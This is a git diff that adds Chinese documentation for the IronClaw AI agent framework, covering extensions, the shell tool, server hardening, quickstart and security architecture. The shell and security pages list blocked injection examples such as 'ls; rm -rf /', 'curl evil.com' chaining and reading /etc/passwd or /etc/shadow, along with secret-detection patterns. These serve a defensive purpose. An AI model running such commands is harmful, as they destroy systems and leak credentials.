完成回调配置。若环境支持,会自动打开浏览器。授权成功后,令牌会被安全保存并自动刷新。 + + +即使已经授权过其他 Google 扩展,也需要对每个新增扩展单独执行一次授权。 + + + + + + +--- + +## 可用操作 + +- `create_spreadsheet`: 创建新表格,可指定标题与初始工作表名 +- `get_spreadsheet`: 获取元数据(标题、工作表名、命名范围) +- `read_values`: 用 A1 表示法读取区间值(例如 `Sheet1!A1:D10`) +- `batch_read_values`: 一次读取多个区间 +- `write_values`: 写入区间并覆盖原内容 +- `append_values`: 在区间末尾追加新行 +- `clear_values`: 清空区间值(保留格式) +- `add_sheet`: 添加新工作表 +- `delete_sheet`: 按工作表 ID 删除 +- `rename_sheet`: 重命名工作表 +- `format_cells`: 为区间设置数值格式、文本样式或背景色 + +--- + +## 使用示例 + +配置后,您可以这样对智能体说: + +- _"创建一个名为 Monthly Expenses 的新表格"_ +- _"读取预算表 A1 到 E20"_ +- _"在 Sales 工作表追加今天销售数据"_ +- _"清空 Draft 工作表数据"_ +- _"把第一个工作表改名为 Summary"_ +- _"把支出表 B 列设置为货币格式"_ + +--- + +## A1 表示法 + +所有区间操作都基于 A1 表示法,可加工作表名指定目标页签: + +| Notation | 含义 | +|---|---| +| `A1` | 单个单元格 | +| `A1:C10` | 行列范围 | +| `Sheet1!A1:B5` | 指定工作表范围 | +| `Sheet1!A:A` | Sheet1 的整列 A | + + +多工作表场景下,建议总是包含工作表名(例如 `Budget!B2:D50`)。 + \ No newline at end of file diff --git a/docs/zh/extensions/google/slides.md b/docs/zh/extensions/google/slides.md new file mode 100644 index 0000000000..6c80342d02 --- /dev/null +++ b/docs/zh/extensions/google/slides.md @@ -0,0 +1,86 @@ +--- +title: "Google Slides" +description: "让您的智能体创建并编辑 Google 演示文稿" +--- + +Google Slides 扩展允许智能体操作演示文稿,包括创建演示、管理幻灯片、插入和格式化文本、添加形状与图片,以及执行批量更新。适合自动生成汇报材料和持续更新内容。 + +--- + +## 设置 + +如果您还没有完成 Google OAuth,请先完成 [Google OAuth 设置](/zh/extensions/google/oauth-setup)。 + + + + + +在 Google Cloud 项目中进入 **APIs & Services → Library**,搜索 **Google Slides API** 并点击 **Enable**。 + + + + + +```bash +ironclaw registry install google-slides +``` + + + + + +```bash +ironclaw tool auth google-slides +``` + +IronClaw 会提供认证链接。请确保已按 [auth setup](./oauth-setup) 完成回调配置。若环境支持,会自动打开浏览器。授权成功后,令牌会被安全保存并自动刷新。 + + +即使已经授权过其他 Google 扩展,也需要对每个新增扩展单独执行一次授权。 + + + + + + +--- + +## 可用操作 + +- `create_presentation`: 创建演示文稿,可指定标题 +- `get_presentation`: 获取元数据(标题、页数、元素 ID) +- `get_thumbnail`: 获取指定幻灯片缩略图 URL +- `create_slide`: 在指定位置新增幻灯片,可选布局 +- `delete_object`: 按对象 ID 删除幻灯片或页面元素 +- `insert_text`: 在文本框或形状的指定位置插入文本 +- `delete_text`: 删除文本范围 +- `replace_all_text`: 跨全稿查找替换文本 +- `create_shape`: 在幻灯片上插入形状(矩形、椭圆、箭头等) +- `insert_image`: 从 URL 插入图片并设置尺寸与位置 +- `format_text`: 设置字符样式(粗体、斜体、字号、颜色) +- `format_paragraph`: 设置段落对齐与间距 +- `replace_shapes_with_image`: 将匹配标签的形状批量替换为图片 +- `batch_update`: 一次 API 调用提交多条更新请求 + +--- + +## 使用示例 + +配置后,您可以这样对智能体说: + +- _"创建一个名为 Q3 Roadmap 的新演示文稿"_ +- _"新增一页标题为 Annual Review 2025 的封面页"_ +- _"把整套幻灯片中的 [COMPANY] 替换成 Acme Corp"_ +- _"在第 1 页右上角插入我们的 logo"_ +- _"给我第 3 页缩略图预览"_ +- _"删除最后两页"_ + +--- + +## 对象 ID + +Google Slides 中每个元素(幻灯片、文本框、形状、图片)都有唯一对象 ID。执行更新前,可先用 `get_presentation` 获取现有对象 ID。 + + +如果要全稿替换文案,优先用 `replace_all_text`,比逐个元素修改更高效。 + \ No newline at end of file diff --git a/docs/zh/extensions/mcp.mdx b/docs/zh/extensions/mcp.mdx new file mode 100644 index 0000000000..d61a56fe57 --- /dev/null +++ b/docs/zh/extensions/mcp.mdx @@ -0,0 +1,67 @@ +--- +title: MCP 服务器 +sidebarTitle: MCP 服务器 +description: 连接 Model Context Protocol 服务器扩展 IronClaw +--- + +IronClaw 可连接任意 [Model Context Protocol (MCP)](https://modelcontextprotocol.io/) 服务器,并把其工具暴露给代理。MCP 是开放标准,生态中已有大量数据库、API、云服务连接器。 + + +当前通过 **HTTP 传输**(JSON-RPC 2.0)连接 MCP。`stdio` 传输暂不支持。 + + +--- + +## 添加服务器 + +可直接要求代理使用 MCP,或通过 CLI 添加: + +```bash +ironclaw mcp add +``` + +--- + +## 认证 + +如果服务器需要认证: + +```bash +ironclaw mcp auth +``` + +--- + +## 查看已连接服务器 + +```bash +ironclaw mcp list +``` + +连接成功后,MCP 工具会出现在代理工具列表中。 + +--- + +## 移除服务器 + +```bash +ironclaw mcp remove +``` + +--- + +## WASM 与 MCP 如何选择 + +| 维度 | WASM | MCP | +|------|------|-----| +| 隔离性 | 强(wasmtime 沙箱、fuel、内存限制) | 较弱(独立进程) | +| 凭据处理 | 代理层注入,模块看不到原始密钥 | 由 MCP 服务自行处理 | +| 网络控制 | `capabilities.json` 白名单 | 由 MCP 服务控制 | +| 生态 | 自建为主 | 现成生态丰富 | +| 语言 | 任意 `wasm32-wasi` 目标 | 任意语言 | +| 启动成本 | 首次需编译缓存 | 服务需预先运行 | +| 适合场景 | 强隔离的定制集成 | 复用现有 MCP 服务 | + + +涉及敏感凭据或不可信外部数据时,优先使用 WASM 工具,可获得更强隔离保障。 + diff --git a/docs/zh/extensions/overview.mdx b/docs/zh/extensions/overview.mdx new file mode 100644 index 0000000000..688ffb30ac --- /dev/null +++ b/docs/zh/extensions/overview.mdx @@ -0,0 +1,34 @@ +--- +title: "Overview" +description: "使用内置和外部工具扩展您的智能体" +--- + +通过文件操作、网页搜索和 GitHub 集成等常见工具来扩展您的智能体。 + + + + 在工作区中读取、写入、列出和 patch 文件。 + + + + 运行 shell 命令,并进行环境净化与注入检查。 + + + + 使用 Brave Search 搜索最新的网络信息。 + + + + 使用仓库、Issue、Pull Request 和工作流。 + + + + 连接 Model Context Protocol 服务器并暴露其工具。 + + + +## 构建您自己的工具 + + + 创建您自己的扩展并将其注册到智能体中。 + \ No newline at end of file diff --git a/docs/zh/extensions/shell.mdx b/docs/zh/extensions/shell.mdx new file mode 100644 index 0000000000..ce8420fa34 --- /dev/null +++ b/docs/zh/extensions/shell.mdx @@ -0,0 +1,92 @@ +--- +title: Shell 命令 +description: 带环境脱敏与注入检测的命令执行 +--- + +`shell` 工具允许代理在主机执行命令。由于权限强,IronClaw 在执行前会做两层防护:环境变量脱敏与命令注入检测。 + +--- + +## 配置 + +```bash +export ALLOW_LOCAL_TOOLS=true +``` + +未开启时,`shell` 工具不会注册给模型。 + +--- + +## 环境变量脱敏 + +执行前会构建“净化环境”,敏感变量完全移除,不会出现在子进程环境中。 + +**会被移除的变量(示例)** + +- API Key / Token:`OPENAI_API_KEY`、`ANTHROPIC_API_KEY`、`NEARAI_API_KEY` +- 数据库凭据:`DATABASE_URL`、`LIBSQL_AUTH_TOKEN` +- 认证令牌:`GATEWAY_AUTH_TOKEN`、`HTTP_WEBHOOK_SECRET` +- 模式匹配:`*_KEY`、`*_SECRET`、`*_TOKEN`、`*_PASSWORD` + +**会保留的变量(示例)** + +- `PATH`、`HOME` +- `USER`、`SHELL` +- `LANG`、`LC_*` + +这样可以防止 `env`、`printenv` 或恶意二进制泄露密钥。 + +--- + +## 注入检测 + +执行前会分析命令并拦截常见注入模式。 + +| 模式 | 例子 | 拦截原因 | +|------|------|----------| +| `;` 串联 | `ls; rm -rf /` | 无条件执行第二条命令 | +| `&&` 串联 | `echo ok && curl evil.com` | 条件执行恶意命令 | +| `||` 串联 | `false || curl evil.com` | 失败后执行恶意命令 | +| `$()` 子命令 | `echo $(cat /etc/passwd)` | 命令替换 | +| 反引号子命令 | `` echo `id` `` | 命令替换 | +| 路径穿越 | `cat ../../../etc/shadow` | 逃逸预期目录 | +| 空字节 | `command\x00injection` | 底层字符串截断风险 | + + +单命令内部的管道 `|` 允许使用。 + + +--- + +## 输出清洗 + +shell 输出在返回 LLM 前会经过 Safety Layer: + +1. 泄漏检测并打码敏感内容 +2. 转义危险控制字符 + +输出会封装为: + +```xml + + [command stdout/stderr] + +``` + +--- + +## 安全建议 + + + + 运行未知脚本或第三方代码时优先使用容器沙箱,不建议直接使用主机 shell。 + + + + 注入检测是防御增强,不应替代正确的参数转义与输入校验。 + + + + 超过 `timeout_secs` 的命令会被终止;长任务可调高超时或改为后台任务。 + + diff --git a/docs/zh/extensions/web-search.md b/docs/zh/extensions/web-search.md new file mode 100644 index 0000000000..6ae9430e3e --- /dev/null +++ b/docs/zh/extensions/web-search.md @@ -0,0 +1,50 @@ +--- +title: "网页搜索" +description: "让智能体搜索网页" +icon: globe +--- + +网页搜索工具允许智能体使用 [Brave Search API]() 搜索网页获取最新信息,非常适合回答时事问题、查找特定数据或收集一般信息。 + +--- + +## 设置 + + + + + +要使用网页搜索工具,您需要从 Brave Search 获取 API 密钥。可以在 https://api-dashboard.search.brave.com 注册获取。 + + + +截至撰写时,Brave Search API 基础计划每月提供 5 美元免费额度,对于测试和小规模使用完全足够。 + + + + + + + + +在终端中运行以下命令安装网页搜索扩展: + +```bash +ironclaw registry install web-search +``` + + + + + +安装扩展后,需要在 IronClaw 中配置您的 Brave Search API 密钥。运行: + +```bash +ironclaw tool auth web-search +``` + +然后按照提示输入您的 API 密钥。 + + + + diff --git a/docs/zh/index.mdx b/docs/zh/index.mdx new file mode 100644 index 0000000000..ceacdb7c74 --- /dev/null +++ b/docs/zh/index.mdx @@ -0,0 +1,56 @@ +--- +title: "简介" +description: "安全、开源的 AI 智能体" +icon: "book" +--- + +IronClaw 是一个安全、开源的 AI 智能体框架,基于 Rust 构建,部署在 NEAR AI Cloud 上。它可以创建能够访问您工具和服务的 AI 智能体,同时确保您的凭证安全和隐私。 + + + 几分钟内部署您的第一个智能体。 + + +--- + +## 核心能力 + + + + 通过浏览器、Telegram、终端界面或 HTTP Webhook 访问 IronClaw。 + + + + 多层防护体系:安全层、WASM 沙箱、Docker 隔离与加密密钥。 + + + + 可从 7 种以上提供商中选择,包括 NEAR AI、Anthropic、OpenAI、Ollama、Tinfoil 等。 + + + + 通过 ClawHub 注册表中的 SKILL.md 提示扩展增强能力。 + + + + 通过状态机与自修复机制并发执行多个任务。 + + + + 结合身份文件与 heartbeat 系统,提供混合搜索(全文检索 + 向量检索)。 + + + +## 资源 + + + 几分钟内部署您的第一个智能体。 + + + + + 在一个地方管理您的智能体。 + + + 面向 AI 智能体的安全云平台。 + + diff --git a/docs/zh/infrastructure/droplet.mdx b/docs/zh/infrastructure/droplet.mdx new file mode 100644 index 0000000000..829775b5fc --- /dev/null +++ b/docs/zh/infrastructure/droplet.mdx @@ -0,0 +1,175 @@ +--- +title: DigitalOcean Droplet +description: 在 DigitalOcean Droplet 上托管 IronClaw +--- + +DigitalOcean 提供了一种简单且性价比高的云上运行方式。借助它的 Droplet 虚拟机,您可以在几分钟内完成部署。 + +本指南会带您创建一个 DigitalOcean Droplet,并对其进行基础加固,以便安全地运行 IronClaw 并将其暴露到互联网。 + + +如果您不想自己搭建基础设施,也可以在 [agent.near.ai](https://agent.near.ai) 上点几下就安装好 IronClaw。 + + +--- + +## 创建 Droplet + +注册 [DigitalOcean](https://cloud.digitalocean.com),然后进入 [Droplets](https://cloud.digitalocean.com/droplets) 页面创建一个新的 Droplet。 + +![droplets landing page](/images/infrastructure/droplets/droplets-landing.png) + +建议选择 Ubuntu 作为操作系统,最好使用最新的 LTS 版本,并选择 `Basic` 套餐搭配 `Regular` 磁盘。目前这样的配置大约每月 $4,足以覆盖大多数 IronClaw 使用场景。 + +![droplets plan selection](/images/infrastructure/droplets/droplets-create.png) + +要连接到您的 Droplet,您需要先配置 SSH 密钥。可以在本地机器上使用 `ssh-keygen` 生成一对新的 SSH 密钥,然后把公钥添加到您的 DigitalOcean 账号中。 + +```bash +ssh-keygen -t rsa -b 4096 +# 按提示保存密钥对(例如 id_rsa 和 id_rsa.pub) + +# 读取公钥内容 +cat ~/.ssh/id_rsa.pub +``` + + +您也可以使用密码登录,但使用 SSH 密钥会更安全,也更推荐。请妥善保管私钥,不要与他人共享。 + + +--- + +## 访问您的 Droplet + +Droplet 创建完成后,您可以使用 DigitalOcean 提供的 IP 地址通过 SSH 进行连接。 + +![droplet IP](/images/infrastructure/droplets/droplet-ip.png) + +在终端中,以 `root` 用户身份连接到您的 Droplet: + +```bash +# 将 替换为您的 Droplet IP 地址 +ssh root@ +``` + +--- + +## 配置您的 Droplet + +现在我们已经进入 Droplet,需要做一些初始配置。重点是不要继续长期使用 `root` 作为默认用户,同时还要通过防火墙等措施增强安全性。 + +### 更新系统 + +首先,确保系统处于最新状态: + +```bash +apt update && apt upgrade -y +``` + +### 创建新用户 + +良好的实践是创建一个具备 sudo 权限的新用户,而不是日常都使用 `root`。您可以创建一个新用户(例如 `ironclaw`),然后将它加入 sudo 组: + +```bash +adduser ironclaw +usermod -aG sudo ironclaw +``` + +由于后续需要使用这个新用户登录,您还需要把 SSH 密钥从 `root` 复制过去: + +```bash +# 为用户创建 .ssh 目录 +mkdir -p /home/ironclaw/.ssh + +# 复制当前 root 的 authorized_keys(如果希望使用相同的密钥) +cp ~/.ssh/authorized_keys /home/ironclaw/.ssh/authorized_keys + +# 设置正确的权限(非常关键,否则 SSH 会忽略这些文件) +chown -R ironclaw:ironclaw /home/ironclaw/ +chmod 700 /home/ironclaw/.ssh +chmod 600 /home/ironclaw/.ssh/authorized_keys +``` + +打开一个新的终端窗口,尝试用新用户登录,确认一切都能正常工作: + +```bash +ssh ironclaw@ +``` + + +在确认新用户可以成功登录之前,不要继续后续步骤。如果您在没有可用替代用户的情况下失去 `root` 访问权限,就只能重置整个 Droplet 并重新开始。 + + +### 加固 SSH 访问 + +为了进一步增强 Droplet 的安全性,建议禁用 SSH 密码认证,并关闭 root 登录。 + +您可以编辑 SSH 配置文件 `/etc/ssh/sshd_config`,并设置以下参数: + +```bash +PasswordAuthentication no # 只允许基于密钥的认证 +Port 2222 # 修改默认端口(可选,但有帮助) +``` + +然后重启 Droplet 以应用变更,并使用新端口再次尝试登录: + +```bash +ssh -p 2222 ironclaw@ +``` + +如果一切正常,就可以继续在 SSH 配置中设置 `PermitRootLogin no` 来禁用 root 登录,然后再次重启。 + +### 安装 Fail2Ban + +为了进一步提升安全性,建议安装 Fail2Ban。它会监控日志文件,并自动封禁出现恶意行为的 IP 地址,从而帮助抵御暴力破解攻击。 + +```bash +apt install fail2ban -y +systemctl enable fail2ban +systemctl start fail2ban +``` + +### 配置防火墙 + +另外,建议配置防火墙,只允许访问必要的端口。您可以使用 `ufw`(Uncomplicated Firewall): + +```bash +sudo apt install ufw -y +sudo ufw default deny incoming +sudo ufw default allow outgoing +sudo ufw allow 2222/tcp # 允许新的 SSH 端口 +sudo ufw allow 80/tcp # 允许 HTTP(如果需要) +sudo ufw allow 443/tcp # 允许 HTTPS(如果需要) +sudo ufw enable +``` + +--- + +## 安装 IronClaw + +Droplet 创建并加固完成后,就可以开始安装 IronClaw 了。您可以按照[快速开始指南](/quickstart)中的安装步骤来完成部署。 + +``` +# 安装 IronClaw +curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.sh | sh +``` + +安装后,直接启动 IronClaw 并按照提示完成配置: + +``` +ironclaw +``` + + +建议使用 `tmux` 或 `screen` 这样的会话管理器,以便在 SSH 会话之间轻松分离和恢复运行中的 IronClaw 进程。 + + +--- + +## 下一步 + +接下来可以阅读[快速开始指南](/quickstart),创建您的第一个智能体,把它连接到 Telegram,并开始探索 IronClaw 的能力。 + +如果您希望通过消息应用与智能体对话,请查看[频道](/channels/overview)文档,了解如何完成接入。 + +如果您需要让智能体执行依赖多个工具的复杂任务,请查看[扩展](/extensions/overview)文档。 \ No newline at end of file diff --git a/docs/zh/onboard.mdx b/docs/zh/onboard.mdx new file mode 100644 index 0000000000..95fefc91a8 --- /dev/null +++ b/docs/zh/onboard.mdx @@ -0,0 +1,100 @@ +--- +title: "引导配置" +description: "配置智能体的主要设置" +icon: cog +--- + +`onboard` 命令允许您一次性配置智能体的多项设置,包括推理提供商、LLM、隧道和频道。它提供了引导式体验,帮助您在几分钟内完成智能体设置。 + + +如果您还没有设置智能体,请先查看我们的[快速开始指南](../quickstart) + + + +如果您是 IronClaw 新用户,我们建议您逐一配置[频道](/channels/telegram)、工具和其他设置,而不是通过 `onboard` 命令一次性完成所有配置。 + + +--- + +## 引导向导 + +如果您是 IronClaw 新用户,我们建议您逐一配置频道、工具和其他设置,而不是通过 onboard 命令一次性完成所有配置。 + + + + + +在终端中运行以下命令启动引导向导: + +```bash +ironclaw onboard +``` + + + + + +向导将首先要求您选择智能体数据库的路径,默认为 `/home/agent/.ironclaw/ironclaw.db`。这是智能体存储配置的位置。 + + + + + +选择将主密钥存储在哪里,主密钥用于加密您的全部凭证。 + +推荐使用系统密钥环,但如果您在没有密钥环的环境中运行(如服务器或容器),建议将主密钥存储在环境变量中。 + + + + + +内置提供商包括 Anthropic、OpenAI、Google Gemini、MiniMax、Mistral 和 Ollama(本地)。 + +我们推荐使用 [NEAR AI](https://cloud.near.ai/) 作为推理提供商,以获得最高的隐私和安全性,并使用 `Qwen3-30B` 模型,性价比最优。 + + + + + +嵌入功能可在您的工作区记忆中启用语义搜索,我们建议启用此功能。 + + + + + +隧道用于将智能体的 API 安全地暴露到互联网,这是频道正常工作所必需的。我们推荐使用 [ngrok](https://dashboard.ngrok.com/),因为它易于使用且可靠。 + +配置隧道后,您可以选择要为智能体启用的频道,以便它可以监听和回复来自 Telegram、Slack 或 Discord 等平台的消息。 + +您随时可以添加更多频道。 + + + + + +您可以配置要为智能体启用的工具和扩展。智能体会用它们执行各种操作,例如搜索网页、读写电子邮件、使用 GitHub 等。 + +您随时可以添加更多工具和扩展。 + + + + + +IronClaw 可以在 Docker 容器中执行代码、运行构建和使用工具。这保证了系统安全——来自 LLM 的命令在隔离的沙箱中运行,无法访问您的凭证,文件系统访问受限,网络流量仅限于允许列表。 + + + +如果您在没有 Docker 的环境中运行 IronClaw(如服务器或容器),可以禁用沙箱功能。 + + + + + + +心跳功能运行定期后台任务(例如检查日历、监控通知、运行定时工作流)。 + +我们建议启用此功能以释放智能体的全部潜力,但您随时可以在需要时禁用。 + + + + diff --git a/docs/zh/quickstart.mdx b/docs/zh/quickstart.mdx new file mode 100644 index 0000000000..1a0b907e4f --- /dev/null +++ b/docs/zh/quickstart.mdx @@ -0,0 +1,142 @@ +--- +title: "快速开始" +description: "几分钟内创建您的智能体" +icon: rocket +--- + +本指南将帮助您在 10 分钟内从零开始运行一个 IronClaw 实例。 + +--- + +## 设置您的智能体 + + + + + + + + 前往 https://agent.near.ai/ 并使用您偏好的方式登录,然后在私有实例中创建一个 IronClaw 智能体。 + + 私有实例准备就绪后,您可以通过[智能体仪表盘](https://agent.near.ai/)提供的地址使用 `SSH` 连接到它: + + ```bash + ssh -p liquid-horse@agent2.near.ai + ``` + + + + 使用 IronClaw 需要提供 SSH 密钥。如果您还没有,可以在终端中使用以下命令生成: + + ```bash + ssh-keygen -t rsa -b 4096 -C "you@example.com" + cat ~/.ssh/id_rsa.pub + ``` + + + + + 连接前请确保已将 SSH 密钥添加到设备的 SSH 代理中: + + ```bash + ssh-add ~/.ssh/id_rsa + ``` + + + + + + 适合在自己的机器上个人使用。默认使用 libSQL(嵌入式 SQLite),无需单独的数据库服务器。 + + ```bash + # 安装 IronClaw + curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/releases/latest/download/ironclaw-installer.sh | sh + ``` + + + + + + + +首次启动智能体: + +```bash +ironclaw +``` + + + +如果出现错误 `Error: Another IronClaw instance is already running (PID 38). If this is incorrect, remove the stale PID file: /home/agent/.ironclaw/ironclaw.pid`,只需运行以下命令删除过期的 PID 文件,然后重新启动智能体: + +``` +# 删除过期的 PID 文件 +rm /home/agent/.ironclaw/ironclaw.pid + +# 然后重新启动智能体 +ironclaw +``` + + + +由于这是首次启动智能体,它会要求您配置推理提供商以及要使用的 LLM。 + +![setup](/images/quickstart/setup-wizard.png) + + +我们推荐使用 [NEAR AI](https://cloud.near.ai/) 作为推理提供商,以获得更高的隐私与安全性,并使用 `Qwen3-30B` 模型来兼顾效果与成本。 + + + + +如果遇到错误 `Error: Channel webhook_server failed to start: Failed to bind to 0.0.0.0:8080: Address already in use (os error 98)`,请尝试设置一个不同的 HTTP 端口: + +``` +# 将默认 HTTP 端口改为 8081 +export HTTP_PORT=8081 + +# 然后重新启动智能体 +ironclaw +``` + + + + + + + +当智能体启动后,您就可以通过终端与它交互。直接输入消息,智能体就会回复。 + +![hello-ai](/images/quickstart/hello-ai.png) + + + + + + +最后,请定期更新 IronClaw,以获得最新功能和改进。您可以在终端中运行以下命令进行更新: + +```bash +ironclaw-update +``` + + + + + + +--- + +## 下一步 + +现在您的智能体已经运行起来了,接下来可以配置新的[频道](./channels/telegram)以便通过您偏好的消息平台与它交互,并添加一些[工具](/extensions/web-search)来扩展能力。 + + + + 将智能体连接到您喜欢的消息平台。 + + + + 让智能体访问外部 API 与服务。 + + diff --git a/docs/zh/security.mdx b/docs/zh/security.mdx new file mode 100644 index 0000000000..4d2830f6ba --- /dev/null +++ b/docs/zh/security.mdx @@ -0,0 +1,113 @@ +--- +title: Security +description: IronClaw 的纵深防御安全架构 +--- + +IronClaw 从一开始就把安全作为核心原则。我们采用纵深防御架构,通过多层彼此独立的保护机制,在启用强大智能体能力的同时保障您的数据安全。 + + + + 密钥以加密形式存储,只有在通过审批的端点请求时才会在主机边界注入。 + + + + 工具在容器中运行,受到资源限制,并且只能访问允许列表中的端点。 + + + + 出站流量会被实时扫描,疑似密钥数据会在外泄前被阻止。 + + + + 工具只能访问预先批准的端点,不能悄悄连接未知主机。 + + + +--- + +## 数据流 + +这张安全架构图展示了 IronClaw 的**纵深防御**思路:数据在到达 LLM 与外部服务之前,会依次经过四层独立保护。 + +![Data Flow Diagram](/images/security/data-flow.png) + +在整个流程中,密钥始终与普通数据分离,并以更严格的方式处理。它们在静态时会被加密,不会进入容器,只会在网络代理层注入到出站请求中。 + +--- + +## 提示注入防护 + +针对提示注入,IronClaw 通过多层机制进行保护: + +1. **输入校验**:长度、编码与禁止模式检查 +2. **清洗器**:转义危险内容 +3. **策略引擎**:按严重级别执行不同处理动作 +4. **泄漏检测器**:扫描 15 种以上的密钥模式 +5. **工具输出包装**:采用带转义提示的 XML 格式 + +--- + +## 泄漏检测器 + +IronClaw 会扫描所有发往 LLM 的输入,无论是用户输入还是工具执行结果,以识别潜在的敏感信息泄漏。 + +泄漏检测器结合正则模式与启发式规则来识别潜在密钥: + +| 模式 | 示例 | +|------|------| +| API 密钥 | `sk-...`, `ak-...` | +| Token | `ghp_...`, `sess-...` | +| 私钥 | `-----BEGIN RSA PRIVATE KEY-----` | +| 连接字符串 | `postgres://user:pass@...` | +| AWS 凭证 | `AKIA...` | +| GitHub Token | `ghp_...` | + +--- + +## 命令注入检测 + +Shell 命令会被检查是否存在注入尝试: + +```bash +# 已阻止:命令链 +cat file; rm -rf / + +# 已阻止:子 shell +echo $(cat /etc/passwd) + +# 已阻止:路径穿越 +cat ../../../etc/passwd +``` + +--- + +## 凭证管理 + +工具不能直接访问密钥。相反,它们只声明自己需要哪些 key、OAuth token 或 API 凭证,然后构造请求,由网络代理在出站时注入这些凭证,而不会把它们暴露给容器。 + +```json + "credentials": { + "google_oauth_token": { + "secret_name": "google_oauth_token", + "location": { "type": "bearer" }, + "host_patterns": ["gmail.googleapis.com"] + } + } +``` + +--- + +### 受限的网络访问 + +工具必须明确声明自己可以访问哪些外部服务。这通过智能体配置中的 `capabilities` 部分完成: + +```json +{ + "network": { + "allowed_hosts": ["api.example.com"] + }, + "workspace": { + "allowed_prefixes": ["telegram/"] + } +} +``` \ No newline at end of file diff --git a/docs/zh/tunnel.mdx b/docs/zh/tunnel.mdx new file mode 100644 index 0000000000..092bf297e2 --- /dev/null +++ b/docs/zh/tunnel.mdx @@ -0,0 +1,101 @@ +--- +title: "隧道" +description: "将本地智能体暴露到互联网" +icon: cloud +--- + +隧道将您本地的 IronClaw 智能体暴露到互联网。当您需要基于 webhook 的频道或希望实现即时消息传递而非轮询时,就需要它。 + + +如果您还没有设置智能体,请先查看我们的[快速开始指南](./quickstart) + + +--- + +## 配置 + +通过引导命令配置隧道: + +```bash +ironclaw onboard --channels-only +``` + +### ngrok + +`ngrok` 是一个托管隧道服务,设置简单,非常适合刚开始使用 `ironclaw` 的用户。使用前需要从 [ngrok 控制台](https://dashboard.ngrok.com/get-started/your-authtoken) 获取认证令牌。 + +### Cloudflare + +`Cloudflare Tunnel` 通过 `cloudflared` 的仅出站连接将本地服务连接到 Cloudflare。 + +当您已经使用 Cloudflare Zero Trust 或需要生产级入口层时使用。设置前: + +安装 `cloudflared`: + + + + +```bash +brew install cloudflared +``` + + + + +[Cloudflare 包安装指南](https://pkg.cloudflare.com/)。 + + + + +[Cloudflare Tunnel 下载页面](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/)。 + + + + +然后,在 [Cloudflare 控制台](https://dash.cloudflare.com) 的 `Zero Trust > Networks > Connectors` 下创建隧道,按照说明获取隧道令牌。 + + +### Tailscale + +`Tailscale` 是基于 WireGuard 的设备私有网状网络(tailnet)。当您的团队已经使用 Tailscale 网络时使用。 + +### 自定义 + +当您想完全控制隧道命令和进程时使用此选项。 + +提供带有占位符的 shell 命令: + +- `{port}` 表示 IronClaw 的本地端口 +- `{host}` 表示 IronClaw 的本地主机 + +示例: + +```bash +bore local {port} --to bore.pub +``` + +### 静态 URL + +当隧道在 IronClaw 外部管理且您已有稳定的公共 URL 时使用此选项。 + +IronClaw 将直接使用该 URL,不会启动或管理任何隧道进程。 + +--- + +## 如何选择 + +| 选项 | 最适合 | +|---|---| +| `ngrok` | 最快设置,本地开发 | +| `Cloudflare` | 使用 Cloudflare 技术栈的生产级设置 | +| `Tailscale` | 已使用 Tailscale 网络的团队 | +| `自定义` | 自定义隧道工具和命令控制 | +| `静态 URL` | 外部管理的入口,固定公共 URL | + +--- + +## 安全注意事项 + +- 将隧道令牌和 URL 视为敏感凭证。 +- 尽可能使用短期或轮换的令牌。 +- 如果暴露公共端点,请应用频道级认证和最小权限访问。